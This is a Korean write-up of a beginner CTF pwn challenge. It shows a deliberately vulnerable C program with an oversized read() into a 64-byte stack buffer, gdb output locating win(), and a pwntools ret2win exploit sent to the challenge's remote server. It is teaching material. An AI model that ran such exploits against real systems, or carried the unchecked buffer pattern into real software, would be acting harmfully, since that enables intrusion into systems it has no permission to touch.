2026 Layer7 신입생 CTF - Let me win 풀이
2026 Layer7 신입생 CTF - Let me win 문제 풀이
// gcc chall.c -o chall \
-fno-stack-protector \
-no-pie \
-z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
FILE *f = fopen("flag", "r");
char buf[128] = {0};
fgets(buf, sizeof(buf), f);
puts(buf);
fclose(f);
}
void vuln() {
char buf[64];
printf("input: ");
read(0, buf, 200);
}
int main() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
vuln();
return 0;
}c문제 설명#
이 문제는 Return Address Overwrite를 이용해서 win() 함수를 실행하는 문제예요.
vuln() 함수에서는 64바이트 크기의 buf에 read() 함수로 200바이트를 입력받고 있어요.
char buf[64];
read(0, buf, 200);cbuf의 크기보다 훨씬 많은 데이터를 입력할 수 있기 때문에 Buffer Overflow가 발생해요.
취약점 분석#
스택에는 대략 아래와 같이 값이 저장돼요.
buf[64]
SFP[8]
RET[8]text따라서 Return Address를 덮어쓰기 위해서는 먼저 buf와 SFP를 채워야 해요.
buf[64] + SFP[8] = 72 bytetext즉, 72바이트의 더미 데이터를 넣은 뒤 원하는 함수 주소를 넣으면 RET을 조작할 수 있어요.
win 함수 주소 확인#
gdb에서 info functions 명령어를 사용하면 win() 함수의 주소를 확인할 수 있어요.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010a0 puts@plt
0x00000000004010b0 fclose@plt
0x00000000004010c0 printf@plt
0x00000000004010d0 read@plt
0x00000000004010e0 fgets@plt
0x00000000004010f0 setvbuf@plt
0x0000000000401100 fopen@plt
0x0000000000401110 _start
0x0000000000401140 _dl_relocate_static_pie
0x0000000000401150 deregister_tm_clones
0x0000000000401180 register_tm_clones
0x00000000004011c0 __do_global_dtors_aux
0x00000000004011f0 frame_dummy
0x00000000004011f6 win
0x00000000004012de vuln
0x0000000000401317 main
0x000000000040136c _finiplaintextwin() 함수의 주소는 0x00000000004011f6에요
풀이 방법#
Return Address를 win() 함수 주소로 덮어쓰면, vuln() 함수가 종료될 때 원래 흐름으로 돌아가지 않고 win() 함수가 실행돼요.
payload를 "A" * 72 + win 함수 주소 이렇게 작성하면 될거 같아요.
64비트 바이너리이므로 주소는 p64()로 little endian 형태로 넣어줘야 해요.
payload = b"A" * 72
payload += p64(0x00000000004011f6)py# /// script
# requires-python = ">=3.13"
# dependencies = [
# "pwntools>=4.15.0",
# ]
# ///
from pwn import *
p = remote("211.214.98.195", 20004)
payload = b"A" * 72
payload += p64(0x00000000004011f6)
p.sendafter(b"input: ", payload)
print(p.recvall().decode())py-----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg4c/dn4BitGH1/xNjKoKEp97I2b
eU57QXvkDBEdNNrEMAAAATYmxvZy5pbW55YS5uZy9wb3N0cwAAAAAAAAAGc2hhNTEyAAAA
UwAAAAtzc2gtZWQyNTUxOQAAAEDtz8CDbk9cGwX7VQGJr23Icw9eHynDHZfMdta/9UgmPu
X9H8dtcbtAvOJtg5ZwtKemOF5vBAkAj6hXvI+CNLwG
-----END SSH SIGNATURE-----